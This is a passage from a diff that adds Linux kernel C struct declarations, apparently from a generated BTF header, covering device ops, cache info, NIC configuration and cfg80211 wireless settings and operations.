device *, struct kobj_uevent_env *); + int (*probe)(struct device *); + void (*sync_state)(struct device *); + void (*remove)(struct device *); + void (*shutdown)(struct device *); + int (*online)(struct device *); + int (*offline)(struct device *); + int (*suspend)(struct device *, pm_message_t); + int (*resume)(struct device *); + int (*num_vf)(struct device *); + int (*dma_configure)(struct device *); + void (*dma_cleanup)(struct device *); + const struct dev_pm_ops *pm; + bool need_parent_lock; +}; + +struct bvec_iter_all { + struct bio_vec bv; + int idx; + unsigned int done; +}; + +struct cache_map { + u64 start; + u64 end; + u64 flags; + u64 type: 8; + u64 fixed: 1; +}; + +struct cacheinfo { + unsigned int id; + enum cache_type type; + unsigned int level; + unsigned int coherency_line_size; + unsigned int number_of_sets; + unsigned int ways_of_associativity; + unsigned int physical_line_partition; + unsigned int size; + cpumask_t shared_cpu_map; + unsigned int attributes; + void *fw_token; + bool disable_sysfs; + void *priv; +}; + +struct cacheline_padding { + char x[0]; +}; + +struct cachestat { + __u64 nr_cache; + __u64 nr_dirty; + __u64 nr_writeback; + __u64 nr_evicted; + __u64 nr_recently_evicted; +}; + +struct cachestat_range { + __u64 off; + __u64 len; +}; + +struct call_function_data { + call_single_data_t __attribute__((btf_type_tag("percpu"))) *csd; + cpumask_var_t cpumask; + cpumask_var_t cpumask_ipi; +}; + +struct callchain_cpus_entries { + struct callback_head callback_head; + struct perf_callchain_entry *cpu_entries[0]; +}; + +struct callthunk_sites { + s32 *call_start; + s32 *call_end; + struct alt_instr *alt_start; + struct alt_instr *alt_end; +}; + +struct can_nocow_file_extent_args { + u64 start; + u64 end; + bool writeback_path; + bool strict; + bool free_path; + struct btrfs_file_extent file_extent; +}; + +struct compact_control; + +struct capture_control { + struct compact_control *cc; + struct page *page; +}; + +struct config { + u8 byte_count: 6; + u8 pad0: 2; + u8 rx_fifo_limit: 4; + u8 tx_fifo_limit: 3; + u8 pad1: 1; + u8 adaptive_ifs; + u8 mwi_enable: 1; + u8 type_enable: 1; + u8 read_align_enable: 1; + u8 term_write_cache_line: 1; + u8 pad3: 4; + u8 rx_dma_max_count: 7; + u8 pad4: 1; + u8 tx_dma_max_count: 7; + u8 dma_max_count_enable: 1; + u8 late_scb_update: 1; + u8 direct_rx_dma: 1; + u8 tno_intr: 1; + u8 cna_intr: 1; + u8 standard_tcb: 1; + u8 standard_stat_counter: 1; + u8 rx_save_overruns: 1; + u8 rx_save_bad_frames: 1; + u8 rx_discard_short_frames: 1; + u8 tx_underrun_retry: 2; + u8 pad7: 2; + u8 rx_extended_rfd: 1; + u8 tx_two_frames_in_fifo: 1; + u8 tx_dynamic_tbd: 1; + u8 mii_mode: 1; + u8 pad8: 6; + u8 csma_disabled: 1; + u8 rx_tcpudp_checksum: 1; + u8 pad9: 3; + u8 vlan_arp_tco: 1; + u8 link_status_wake: 1; + u8 arp_wake: 1; + u8 mcmatch_wake: 1; + u8 pad10: 3; + u8 no_source_addr_insertion: 1; + u8 preamble_length: 2; + u8 loopback: 2; + u8 linear_priority: 3; + u8 pad11: 5; + u8 linear_priority_mode: 1; + u8 pad12: 3; + u8 ifs: 4; + u8 ip_addr_lo; + u8 ip_addr_hi; + u8 promiscuous_mode: 1; + u8 broadcast_disabled: 1; + u8 wait_after_win: 1; + u8 pad15_1: 1; + u8 ignore_ul_bit: 1; + u8 crc_16_bit: 1; + u8 pad15_2: 1; + u8 crs_or_cdt: 1; + u8 fc_delay_lo; + u8 fc_delay_hi; + u8 rx_stripping: 1; + u8 tx_padding: 1; + u8 rx_crc_transfer: 1; + u8 rx_long_ok: 1; + u8 fc_priority_threshold: 3; + u8 pad18: 1; + u8 addr_wake: 1; + u8 magic_packet_disable: 1; + u8 fc_disable: 1; + u8 fc_restop: 1; + u8 fc_restart: 1; + u8 fc_reject: 1; + u8 full_duplex_force: 1; + u8 full_duplex_pin: 1; + u8 pad20_1: 5; + u8 fc_priority_location: 1; + u8 multi_ia: 1; + u8 pad20_2: 1; + u8 pad21_1: 3; + u8 multicast_all: 1; + u8 pad21_2: 4; + u8 rx_d102_mode: 1; + u8 rx_vlan_drop: 1; + u8 pad22: 6; + u8 pad_d102[9]; +}; + +struct multi { + __le16 count; + u8 addr[386]; +}; + +struct cb { + __le16 status; + __le16 command; + __le32 link; + union { + u8 iaaddr[6]; + __le32 ucode[134]; + struct config config; + struct multi multi; + struct { + u32 tbd_array; + u16 tcb_byte_count; + u8 threshold; + u8 tbd_count; + struct { + __le32 buf_addr; + __le16 size; + u16 eol; + } tbd; + } tcb; + __le32 dump_buffer_addr; + } u; + struct cb *next; + struct cb *prev; + dma_addr_t dma_addr; + struct sk_buff *skb; +}; + +struct cbcmac_desc_ctx { + unsigned int len; + u8 dg[0]; +}; + +struct crypto_cipher; + +struct cbcmac_tfm_ctx { + struct crypto_cipher *child; +}; + +struct cca_ccut { + u32 reg82c[4]; + u32 reg830[4]; + u32 reg838[4]; +}; + +struct ccm_instance_ctx { + struct crypto_skcipher_spawn ctr; + struct crypto_ahash_spawn mac; +}; + +struct request_sense; + +struct cdrom_generic_command { + unsigned char cmd[12]; + unsigned char __attribute__((btf_type_tag("user"))) *buffer; + unsigned int buflen; + int stat; + struct request_sense __attribute__((btf_type_tag("user"))) *sense; + unsigned char data_direction; + int quiet; + int timeout; + union { + void __attribute__((btf_type_tag("user"))) *reserved[1]; + void __attribute__((btf_type_tag("user"))) *unused; + }; +}; + +struct clock_event_device; + +struct ce_unbind { + struct clock_event_device *ce; + int res; +}; + +struct cea_exception_stacks { + char DF_stack_guard[4096]; + char DF_stack[8192]; + char NMI_stack_guard[4096]; + char NMI_stack[8192]; + char DB_stack_guard[4096]; + char DB_stack[8192]; + char MCE_stack_guard[4096]; + char MCE_stack[8192]; + char VC_stack_guard[4096]; + char VC_stack[8192]; + char VC2_stack_guard[4096]; + char VC2_stack[8192]; + char IST_top_guard[4096]; +}; + +struct mac_address { + u8 addr[6]; +}; + +struct cfg80211_acl_data { + enum nl80211_acl_policy acl_policy; + int n_acl_entries; + struct mac_address mac_addrs[0]; +}; + +struct ieee80211_edmg { + u8 channels; + enum ieee80211_edmg_bw_config bw_config; +}; + +struct ieee80211_channel; + +struct cfg80211_chan_def { + struct ieee80211_channel *chan; + enum nl80211_chan_width width; + u32 center_freq1; + u32 center_freq2; + struct ieee80211_edmg edmg; + u16 freq1_offset; + u16 punctured; +}; + +struct cfg80211_he_bss_color { + u8 color; + bool enabled; + bool partial; +}; + +struct cfg80211_beacon_data { + unsigned int link_id; + const u8 *head; + const u8 *tail; + const u8 *beacon_ies; + const u8 *proberesp_ies; + const u8 *assocresp_ies; + const u8 *probe_resp; + const u8 *lci; + const u8 *civicloc; + struct cfg80211_mbssid_elems *mbssid_ies; + struct cfg80211_rnr_elems *rnr_ies; + s8 ftm_responder; + size_t head_len; + size_t tail_len; + size_t beacon_ies_len; + size_t proberesp_ies_len; + size_t assocresp_ies_len; + size_t probe_resp_len; + size_t lci_len; + size_t civicloc_len; + struct cfg80211_he_bss_color he_bss_color; + bool he_bss_color_valid; +}; + +struct cfg80211_crypto_settings { + u32 wpa_versions; + u32 cipher_group; + int n_ciphers_pairwise; + u32 ciphers_pairwise[5]; + int n_akm_suites; + u32 akm_suites[10]; + bool control_port; + __be16 control_port_ethertype; + bool control_port_no_encrypt; + bool control_port_over_nl80211; + bool control_port_no_preauth; + const u8 *psk; + const u8 *sae_pwd; + u8 sae_pwd_len; + enum nl80211_sae_pwe_mechanism sae_pwe; +}; + +struct cfg80211_bitrate_mask { + struct { + u32 legacy; + u8 ht_mcs[10]; + u16 vht_mcs[8]; + u16 he_mcs[8]; + enum nl80211_txrate_gi gi; + enum nl80211_he_gi he_gi; + enum nl80211_he_ltf he_ltf; + } control[6]; +}; + +struct ieee80211_he_obss_pd { + bool enable; + u8 sr_ctrl; + u8 non_srg_max_offset; + u8 min_offset; + u8 max_offset; + u8 bss_color_bitmap[8]; + u8 partial_bssid_bitmap[8]; +}; + +struct cfg80211_fils_discovery { + bool update; + u32 min_interval; + u32 max_interval; + size_t tmpl_len; + const u8 *tmpl; +}; + +struct cfg80211_unsol_bcast_probe_resp { + bool update; + u32 interval; + size_t tmpl_len; + const u8 *tmpl; +}; + +struct wireless_dev; + +struct cfg80211_mbssid_config { + struct wireless_dev *tx_wdev; + u8 index; + bool ema; +}; + +struct ieee80211_ht_cap; + +struct ieee80211_vht_cap; + +struct ieee80211_he_cap_elem; + +struct ieee80211_he_operation; + +struct ieee80211_eht_cap_elem; + +struct ieee80211_eht_operation; + +struct cfg80211_ap_settings { + struct cfg80211_chan_def chandef; + struct cfg80211_beacon_data beacon; + int beacon_interval; + int dtim_period; + const u8 *ssid; + size_t ssid_len; + enum nl80211_hidden_ssid hidden_ssid; + struct cfg80211_crypto_settings crypto; + bool privacy; + enum nl80211_auth_type auth_type; + enum nl80211_smps_mode smps_mode; + int inactivity_timeout; + u8 p2p_ctwindow; + bool p2p_opp_ps; + const struct cfg80211_acl_data *acl; + bool pbss; + struct cfg80211_bitrate_mask beacon_rate; + const struct ieee80211_ht_cap *ht_cap; + const struct ieee80211_vht_cap *vht_cap; + const struct ieee80211_he_cap_elem *he_cap; + const struct ieee80211_he_operation *he_oper; + const struct ieee80211_eht_cap_elem *eht_cap; + const struct ieee80211_eht_operation *eht_oper; + bool ht_required; + bool vht_required; + bool he_required; + bool sae_h2e_required; + bool twt_responder; + u32 flags; + struct ieee80211_he_obss_pd he_obss_pd; + struct cfg80211_fils_discovery fils_discovery; + struct cfg80211_unsol_bcast_probe_resp unsol_bcast_probe_resp; + struct cfg80211_mbssid_config mbssid_config; +}; + +struct cfg80211_ap_update { + struct cfg80211_beacon_data beacon; + struct cfg80211_fils_discovery fils_discovery; + struct cfg80211_unsol_bcast_probe_resp unsol_bcast_probe_resp; +}; + +struct cfg80211_bss; + +struct cfg80211_assoc_failure { + const u8 *ap_mld_addr; + struct cfg80211_bss *bss[15]; + bool timeout; +}; + +struct cfg80211_assoc_link { + struct cfg80211_bss *bss; + const u8 *elems; + size_t elems_len; + bool disabled; + int error; +}; + +struct ieee80211_mcs_info { + u8 rx_mask[10]; + __le16 rx_highest; + u8 tx_params; + u8 reserved[3]; +}; + +struct ieee80211_ht_cap { + __le16 cap_info; + u8 ampdu_params_info; + struct ieee80211_mcs_info mcs; + __le16 extended_ht_cap_info; + __le32 tx_BF_cap_info; + u8 antenna_selection_info; +} __attribute__((packed)); + +struct ieee80211_vht_mcs_info { + __le16 rx_mcs_map; + __le16 rx_highest; + __le16 tx_mcs_map; + __le16 tx_highest; +}; + +struct ieee80211_vht_cap { + __le32 vht_cap_info; + struct ieee80211_vht_mcs_info supp_mcs; +}; + +struct ieee80211_s1g_cap { + u8 capab_info[10]; + u8 supp_mcs_nss[5]; +}; + +struct cfg80211_assoc_request { + struct cfg80211_bss *bss; + const u8 *ie; + const u8 *prev_bssid; + size_t ie_len; + struct cfg80211_crypto_settings crypto; + bool use_mfp; + u32 flags; + struct ieee80211_ht_cap ht_capa; + struct ieee80211_ht_cap ht_capa_mask; + struct ieee80211_vht_cap vht_capa; + struct ieee80211_vht_cap vht_capa_mask; + const u8 *fils_kek; + size_t fils_kek_len; + const u8 *fils_nonces; + struct ieee80211_s1g_cap s1g_capa; + struct ieee80211_s1g_cap s1g_capa_mask; + struct cfg80211_assoc_link links[15]; + const u8 *ap_mld_addr; + s8 link_id; +}; + +struct cfg80211_auth_request { + struct cfg80211_bss *bss; + const u8 *ie; + size_t ie_len; + enum nl80211_auth_type auth_type; + const u8 *key; + u8 key_len; + s8 key_idx; + const u8 *auth_data; + size_t auth_data_len; + s8 link_id; + const u8 *ap_mld_addr; +}; + +struct cfg80211_beacon_registration { + struct list_head list; + u32 nlportid; +}; + +struct cfg80211_beaconing_check_config { + enum nl80211_iftype iftype; + enum ieee80211_ap_reg_power reg_power; + bool relax; +}; + +struct cfg80211_bss_ies; + +struct cfg80211_bss { + struct ieee80211_channel *channel; + const struct cfg80211_bss_ies __attribute__((btf_type_tag("rcu"))) *ies; + const struct cfg80211_bss_ies __attribute__((btf_type_tag("rcu"))) *beacon_ies; + const struct cfg80211_bss_ies __attribute__((btf_type_tag("rcu"))) *proberesp_ies; + struct cfg80211_bss *hidden_beacon_bss; + struct cfg80211_bss *transmitted_bss; + struct list_head nontrans_list; + s32 signal; + u16 beacon_interval; + u16 capability; + u8 bssid[6]; + u8 chains; + s8 chain_signal[4]; + u8 proberesp_ecsa_stuck: 1; + u8 bssid_index; + u8 max_bssid_indicator; + u8 use_for; + u8 cannot_use_reasons; + u8 priv[0]; +}; + +struct cfg80211_bss_ies { + u64 tsf; + struct callback_head callback_head; + int len; + bool from_beacon; + u8 data[0]; +}; + +struct cfg80211_bss_select_adjust { + enum nl80211_band band; + s8 delta; +}; + +struct cfg80211_bss_selection { + enum nl80211_bss_select_attr behaviour; + union { + enum nl80211_band band_pref; + struct cfg80211_bss_select_adjust adjust; + } param; +}; + +struct key_params { + const u8 *key; + const u8 *seq; + int key_len; + int seq_len; + u16 vlan_id; + u32 cipher; + enum nl80211_key_mode mode; +}; + +struct cfg80211_cached_keys { + struct key_params params[4]; + u8 data[52]; + int def; +}; + +struct cfg80211_pkt_pattern; + +struct cfg80211_coalesce_rules { + int delay; + enum nl80211_coalesce_condition condition; + struct cfg80211_pkt_pattern *patterns; + int n_patterns; +}; + +struct cfg80211_coalesce { + int n_rules; + struct cfg80211_coalesce_rules rules[0]; +}; + +struct cfg80211_colocated_ap { + struct list_head list; + u8 bssid[6]; + u8 ssid[32]; + size_t ssid_len; + u32 short_ssid; + u32 center_freq; + u8 unsolicited_probe: 1; + u8 oct_recommended: 1; + u8 same_ssid: 1; + u8 multi_bss: 1; + u8 transmitted_bssid: 1; + u8 colocated_ess: 1; + u8 short_ssid_valid: 1; + s8 psd_20; +}; + +struct cfg80211_color_change_settings { + struct cfg80211_beacon_data beacon_color_change; + u16 counter_offset_beacon; + u16 counter_offset_presp; + struct cfg80211_beacon_data beacon_next; + u8 count; + u8 color; + u8 link_id; +}; + +struct cfg80211_connect_params { + struct ieee80211_channel *channel; + struct ieee80211_channel *channel_hint; + const u8 *bssid; + const u8 *bssid_hint; + const u8 *ssid; + size_t ssid_len; + enum nl80211_auth_type auth_type; + const u8 *ie; + size_t ie_len; + bool privacy; + enum nl80211_mfp mfp; + struct cfg80211_crypto_settings crypto; + const u8 *key; + u8 key_len; + u8 key_idx; + u32 flags; + int bg_scan_period; + struct ieee80211_ht_cap ht_capa; + struct ieee80211_ht_cap ht_capa_mask; + struct ieee80211_vht_cap vht_capa; + struct ieee80211_vht_cap vht_capa_mask; + bool pbss; + struct cfg80211_bss_selection bss_select; + const u8 *prev_bssid; + const u8 *fils_erp_username; + size_t fils_erp_username_len; + const u8 *fils_erp_realm; + size_t fils_erp_realm_len; + u16 fils_erp_next_seq_num; + const u8 *fils_erp_rrk; + size_t fils_erp_rrk_len; + bool want_1x; + struct ieee80211_edmg edmg; +}; + +struct cfg80211_conn { + struct cfg80211_connect_params params; + enum { + CFG80211_CONN_SCANNING = 0, + CFG80211_CONN_SCAN_AGAIN = 1, + CFG80211_CONN_AUTHENTICATE_NEXT = 2, + CFG80211_CONN_AUTHENTICATING = 3, + CFG80211_CONN_AUTH_FAILED_TIMEOUT = 4, + CFG80211_CONN_ASSOCIATE_NEXT = 5, + CFG80211_CONN_ASSOCIATING = 6, + CFG80211_CONN_ASSOC_FAILED = 7, + CFG80211_CONN_ASSOC_FAILED_TIMEOUT = 8, + CFG80211_CONN_DEAUTH = 9, + CFG80211_CONN_ABANDON = 10, + CFG80211_CONN_CONNECTED = 11, + } state; + u8 bssid[6]; + u8 prev_bssid[6]; + const u8 *ie; + size_t ie_len; + bool auto_auth; + bool prev_bssid_valid; +}; + +struct cfg80211_fils_resp_params { + const u8 *kek; + size_t kek_len; + bool update_erp_next_seq_num; + u16 erp_next_seq_num; + const u8 *pmk; + size_t pmk_len; + const u8 *pmkid; +}; + +struct cfg80211_connect_resp_params { + int status; + const u8 *req_ie; + size_t req_ie_len; + const u8 *resp_ie; + size_t resp_ie_len; + struct cfg80211_fils_resp_params fils; + enum nl80211_timeout_reason timeout_reason; + const u8 *ap_mld_addr; + u16 valid_links; + struct { + const u8 *addr; + const u8 *bssid; + struct cfg80211_bss *bss; + u16 status; + } links[15]; +}; + +struct cfg80211_cqm_config { + struct callback_head callback_head; + u32 rssi_hyst; + s32 last_rssi_event_value; + enum nl80211_cqm_rssi_threshold_event last_rssi_event_type; + bool use_range_api; + int n_rssi_thresholds; + s32 rssi_thresholds[0]; +}; + +struct cfg80211_csa_settings { + struct cfg80211_chan_def chandef; + struct cfg80211_beacon_data beacon_csa; + const u16 *counter_offsets_beacon; + const u16 *counter_offsets_presp; + unsigned int n_counter_offsets_beacon; + unsigned int n_counter_offsets_presp; + struct cfg80211_beacon_data beacon_after; + bool radar_required; + bool block_tx; + u8 count; + u8 link_id; +}; + +struct cfg80211_deauth_request { + const u8 *bssid; + const u8 *ie; + size_t ie_len; + u16 reason_code; + bool local_state_change; +}; + +struct cfg80211_disassoc_request { + const u8 *ap_addr; + const u8 *ie; + size_t ie_len; + u16 reason_code; + bool local_state_change; +}; + +struct cfg80211_dscp_exception { + u8 dscp; + u8 up; +}; + +struct cfg80211_dscp_range { + u8 low; + u8 high; +}; + +struct cfg80211_roam_info { + const u8 *req_ie; + size_t req_ie_len; + const u8 *resp_ie; + size_t resp_ie_len; + struct cfg80211_fils_resp_params fils; + const u8 *ap_mld_addr; + u16 valid_links; + struct { + const u8 *addr; + const u8 *bssid; + struct ieee80211_channel *channel; + struct cfg80211_bss *bss; + } links[15]; +}; + +struct cfg80211_event { + struct list_head list; + enum cfg80211_event_type type; + union { + struct cfg80211_connect_resp_params cr; + struct cfg80211_roam_info rm; + struct { + const u8 *ie; + size_t ie_len; + u16 reason; + bool locally_generated; + } dc; + struct { + u8 bssid[6]; + struct ieee80211_channel *channel; + } ij; + struct { + u8 peer_addr[6]; + const u8 *td_bitmap; + u8 td_bitmap_len; + } pa; + }; +}; + +struct cfg80211_ssid { + u8 ssid[32]; + u8 ssid_len; +}; + +struct cfg80211_external_auth_params { + enum nl80211_external_auth_action action; + u8 bssid[6]; + struct cfg80211_ssid ssid; + unsigned int key_mgmt_suite; + u16 status; + const u8 *pmkid; + u8 mld_addr[6]; +}; + +struct cfg80211_fils_aad { + const u8 *macaddr; + const u8 *kek; + u8 kek_len; + const u8 *snonce; + const u8 *anonce; +}; + +struct cfg80211_ft_event_params { + const u8 *ies; + size_t ies_len; + const u8 *target_ap; + const u8 *ric_ies; + size_t ric_ies_len; +}; + +struct cfg80211_ftm_responder_stats { + u32 filled; + u32 success_num; + u32 partial_num; + u32 failed_num; + u32 asap_num; + u32 non_asap_num; + u64 total_duration_ms; + u32 unknown_triggers_num; + u32 reschedule_requests_num; + u32 out_of_window_triggers_num; +}; + +struct cfg80211_gtk_rekey_data { + const u8 *kek; + const u8 *kck; + const u8 *replay_ctr; + u32 akm; + u8 kek_len; + u8 kck_len; +}; + +struct cfg80211_ibss_params { + const u8 *ssid; + const u8 *bssid; + struct cfg80211_chan_def chandef; + const u8 *ie; + u8 ssid_len; + u8 ie_len; + u16 beacon_interval; + u32 basic_rates; + bool channel_fixed; + bool privacy; + bool control_port; + bool control_port_over_nl80211; + bool userspace_handles_dfs; + int mcast_rate[6]; + struct ieee80211_ht_cap ht_capa; + struct ieee80211_ht_cap ht_capa_mask; + struct key_params *wep_keys; + int wep_tx_key; +}; + +struct cfg80211_inform_bss { + struct ieee80211_channel *chan; + s32 signal; + u64 boottime_ns; + u64 parent_tsf; + u8 parent_bssid[6]; + u8 chains; + s8 chain_signal[4]; + u8 restrict_use: 1; + u8 use_for: 7; + u8 cannot_use_reasons; + void *drv_data; +}; + +struct cfg80211_inform_single_bss_data { + struct cfg80211_inform_bss *drv_data; + enum cfg80211_bss_frame_type ftype; + struct ieee80211_channel *channel; + u8 bssid[6]; + u64 tsf; + u16 capability; + u16 beacon_interval; + const u8 *ie; + size_t ielen; + enum bss_source_type bss_source; + struct cfg80211_bss *source_bss; + u8 max_bssid_indicator; + u8 bssid_index; + u8 use_for; + u64 cannot_use_reasons; +}; + +struct cfg80211_internal_bss { + struct list_head list; + struct list_head hidden_list; + struct rb_node rbn; + u64 ts_boottime; + unsigned long ts; + unsigned long refcount; + atomic_t hold; + u64 parent_tsf; + u8 parent_bssid[6]; + enum bss_source_type bss_source; + struct cfg80211_bss pub; +}; + +struct cfg80211_match_set { + struct cfg80211_ssid ssid; + u8 bssid[6]; + s32 rssi_thold; +}; + +struct cfg80211_mbssid_elems { + u8 cnt; + struct { + const u8 *data; + size_t len; + } elem[0]; +}; + +struct cfg80211_mgmt_registration { + struct list_head list; + struct wireless_dev *wdev; + u32 nlportid; + int match_len; + __le16 frame_type; + bool multicast_rx; + u8 match[0]; +}; + +struct cfg80211_mgmt_tx_params { + struct ieee80211_channel *chan; + bool offchan; + unsigned int wait; + const u8 *buf; + size_t len; + bool no_cck; + bool dont_wait_for_ack; + int n_csa_offsets; + const u16 *csa_offsets; + int link_id; +}; + +struct ieee80211_multi_link_elem; + +struct ieee80211_mle_per_sta_profile; + +struct cfg80211_mle { + struct ieee80211_multi_link_elem *mle; + struct ieee80211_mle_per_sta_profile *sta_prof[15]; + ssize_t sta_prof_len[15]; + u8 data[0]; +}; + +struct cfg80211_nan_conf { + u8 master_pref; + u8 bands; +}; + +struct cfg80211_nan_func_filter; + +struct cfg80211_nan_func { + enum nl80211_nan_function_type type; + u8 service_id[6]; + u8 publish_type; + bool close_range; + bool publish_bcast; + bool subscribe_active; + u8 followup_id; + u8 followup_reqid; + struct mac_address followup_dest; + u32 ttl; + const u8 *serv_spec_info; + u8 serv_spec_info_len; + bool srf_include; + const u8 *srf_bf; + u8 srf_bf_len; + u8 srf_bf_idx; + struct mac_address *srf_macs; + int srf_num_macs; + struct cfg80211_nan_func_filter *rx_filters; + struct cfg80211_nan_func_filter *tx_filters; + u8 num_tx_filters; + u8 num_rx_filters; + u8 instance_id; + u64 cookie; +}; + +struct cfg80211_nan_func_filter { + const u8 *filter; + u8 len; +}; + +struct cfg80211_nan_match_params { + enum nl80211_nan_function_type type; + u8 inst_id; + u8 peer_inst_id; + const u8 *addr; + u8 info_len; + const u8 *info; + u64 cookie; +}; + +struct wiphy; + +struct cfg80211_wowlan; + +struct vif_params; + +struct station_parameters; + +struct station_del_parameters; + +struct station_info; + +struct mpath_info; + +struct mesh_config; + +struct mesh_setup; + +struct ocb_setup; + +struct ieee80211_txq_params; + +struct cfg80211_scan_request; + +struct survey_info; + +struct cfg80211_pmksa; + +struct mgmt_frame_regs; + +struct cfg80211_sched_scan_request; + +struct cfg80211_update_ft_ies_params; + +struct cfg80211_qos_map; + +struct cfg80211_txq_stats; + +struct cfg80211_pmk_conf; + +struct cfg80211_pmsr_request; + +struct cfg80211_update_owe_info; + +struct cfg80211_tid_config; + +struct cfg80211_sar_specs; + +struct link_station_parameters; + +struct link_station_del_parameters; + +struct cfg80211_set_hw_timestamp; + +struct cfg80211_ttlm_params; + +struct cfg80211_ops { + int (*suspend)(struct wiphy *, struct cfg80211_wowlan *); + int (*resume)(struct wiphy *); + void (*set_wakeup)(struct wiphy *, bool); + struct wireless_dev * (*add_virtual_intf)(struct wiphy *, const char *, unsigned char, enum nl80211_iftype, struct vif_params *); + int (*del_virtual_intf)(struct wiphy *, struct wireless_dev *); + int (*change_virtual_intf)(struct wiphy *, struct net_device *, enum nl80211_iftype, struct vif_params *); + int (*add_intf_link)(struct wiphy *, struct wireless_dev *, unsigned int); + void (*del_intf_link)(struct wiphy *, struct wireless_dev *, unsigned int); + int (*add_key)(struct wiphy *, struct net_device *, int, u8, bool, const u8 *, struct key_params *); + int (*get_key)(struct wiphy *, struct net_device *, int, u8, bool, const u8 *, void *, void (*)(void *, struct key_params *)); + int (*del_key)(struct wiphy *, struct net_device *, int, u8, bool, const u8 *); + int (*set_default_key)(struct wiphy *, struct net_device *, int, u8, bool, bool); + int (*set_default_mgmt_key)(struct wiphy *, struct net_device *, int, u8); + int (*set_default_beacon_key)(struct wiphy *, struct net_device *, int, u8); + int (*start_ap)(struct wiphy *, struct net_device *, struct cfg80211_ap_settings *); + int (*change_beacon)(struct wiphy *, struct net_device *, struct cfg80211_ap_update *); + int (*stop_ap)(struct wiphy *, struct net_device *, unsigned int); + int (*add_station)(struct wiphy *, struct net_device *, const u8 *, struct station_parameters *); + int (*del_station)(struct wiphy *, struct net_device *, struct station_del_parameters *); + int (*change_station)(struct wiphy *, struct net_device *, const u8 *, struct station_parameters *); + int (*get_station)(struct wiphy *, struct net_device *, const u8 *, struct station_info *); + int (*dump_station)(struct wiphy *, struct net_device *, int, u8 *, struct station_info *); + int (*add_mpath)(struct wiphy *, struct net_device *, const u8 *, const u8 *); + int (*del_mpath)(struct wiphy *, struct net_device *, const u8 *); + int (*change_mpath)(struct wiphy *, struct net_device *, const u8 *, const u8 *); + int (*get_mpath)(struct wiphy *, struct net_device *, u8 *, u8 *, struct mpath_info *); + int (*dump_mpath)(struct wiphy *, struct net_device *, int, u8 *, u8 *, struct mpath_info *); + int (*get_mpp)(struct wiphy *, struct net_device *, u8 *, u8 *, struct mpath_info *); + int (*dump_mpp)(struct wiphy *, struct net_device *, int, u8 *, u8 *, struct mpath_info *); + int (*get_mesh_config)(struct wiphy *, struct net_device *, struct mesh_config *); + int (*update_mesh_config)(struct wiphy *, struct net_device *, u32, const struct mesh_config *); + int (*join_mesh)(struct wiphy *, struct net_device *, const struct mesh_config *, const struct mesh_setup *); + int (*leave_mesh)(struct wiphy *, struct net_device *); + int (*join_ocb)(struct wiphy *, struct net_device *, struct ocb_setup *); + int (*leave_ocb)(struct wiphy *, struct net_device *); + int (*change_bss)(struct wiphy *, struct net_device *, struct bss_parameters *); + void (*inform_bss)(struct wiphy *, struct cfg80211_bss *, const struct cfg80211_bss_ies *, void *); + int (*set_txq_params)(struct wiphy *, struct net_device *, struct ieee80211_txq_params *); + int (*libertas_set_mesh_channel)(struct wiphy *, struct net_device *, struct ieee80211_channel *); + int (*set_monitor_channel)(struct wiphy *, struct cfg80211_chan_def *); + int (*scan)(struct wiphy *, struct cfg80211_scan_request *); + void (*abort_scan)(struct wiphy *, struct wireless_dev *); + int (*auth)(struct wiphy *, struct net_device *, struct cfg80211_auth_request *); + int (*assoc)(struct wiphy *, struct net_device *, struct cfg80211_assoc_request *); + int (*deauth)(struct wiphy *, struct net_device *, struct cfg80211_deauth_request *); + int (*disassoc)(struct wiphy *, struct net_device *, struct cfg80211_disassoc_request *); + int (*connect)(struct wiphy *, struct net_device *, struct cfg80211_connect_params *); + int (*update_connect_params)(struct wiphy *, struct net_device *, struct cfg80211_connect_params *, u32); + int (*disconnect)(struct wiphy *, struct net_device *, u16); + int (*join_ibss)(struct wiphy *, struct net_device *, struct cfg80211_ibss_params *); + int (*leave_ibss)(struct wiphy *, struct net_device *); + int (*set_mcast_rate)(struct wiphy *, struct net_device *, int *); + int (*set_wiphy_params)(struct wiphy *, u32); + int (*set_tx_power)(struct wiphy *, struct wireless_dev *, enum nl80211_tx_power_setting, int); + int (*get_tx_power)(struct wiphy *, struct wireless_dev *, int *); + void (*rfkill_poll)(struct wiphy *); + int (*set_bitrate_mask)(struct wiphy *, struct net_device *, unsigned int, const u8 *, const struct cfg80211_bitrate_mask *); + int (*dump_survey)(struct wiphy *, struct net_device *, int, struct survey_info *); + int (*set_pmksa)(struct wiphy *, struct net_device *, struct cfg80211_pmksa *); + int (*del_pmksa)(struct wiphy *, struct net_device *, struct cfg80211_pmksa *); + int (*flush_pmksa)(struct wiphy *, struct net_device *); + int (*remain_on_channel)(struct wiphy *, struct wireless_dev *, struct ieee80211_channel *, unsigned int, u64 *); + int (*cancel_remain_on_channel)(struct wiphy *, struct wireless_dev *, u64); + int (*mgmt_tx)(struct wiphy *, struct wireless_dev *, struct cfg80211_mgmt_tx_params *, u64 *); + int (*mgmt_tx_cancel_wait)(struct wiphy *, struct wireless_dev *, u64); + int (*set_power_mgmt)(struct wiphy *, struct net_device *, bool, int); + int (*set_cqm_rssi_config)(struct wiphy *, struct net_device *, s32, u32); + int (*set_cqm_rssi_range_config)(struct wiphy *, struct net_device *, s32, s32); + int (*set_cqm_txe_config)(struct wiphy *, struct net_device *, u32, u32, u32); + void (*update_mgmt_frame_registrations)(struct wiphy *, struct wireless_dev *, struct mgmt_frame_regs *); + int (*set_antenna)(struct wiphy *, u32, u32); + int (*get_antenna)(struct wiphy *, u32 *, u32 *); + int (*sched_scan_start)(struct wiphy *, struct net_device *, struct cfg80211_sched_scan_request *); + int (*sched_scan_stop)(struct wiphy *, struct net_device *, u64); + int (*set_rekey_data)(struct wiphy *, struct net_device *, struct cfg80211_gtk_rekey_data *); + int (*tdls_mgmt)(struct wiphy *, struct net_device *, const u8 *, int, u8, u8, u16, u32, bool, const u8 *, size_t); + int (*tdls_oper)(struct wiphy *, struct net_device *, const u8 *, enum nl80211_tdls_operation); + int (*probe_client)(struct wiphy *, struct net_device *, const u8 *, u64 *); + int (*set_noack_map)(struct wiphy *, struct net_device *, u16); + int (*get_channel)(struct wiphy *, struct wireless_dev *, unsigned int, struct cfg80211_chan_def *); + int (*start_p2p_device)(struct wiphy *, struct wireless_dev *); + void (*stop_p2p_device)(struct wiphy *, struct wireless_dev *); + int (*set_mac_acl)(struct wiphy *, struct net_device *, const struct cfg80211_acl_data *); + int (*start_radar_detection)(struct wiphy *, struct net_device *, struct cfg80211_chan_def *, u32, int); + void (*end_cac)(struct wiphy *, struct net_device *, unsigned int); + int (*update_ft_ies)(struct wiphy *, struct net_device *, struct cfg80211_update_ft_ies_params *); + int 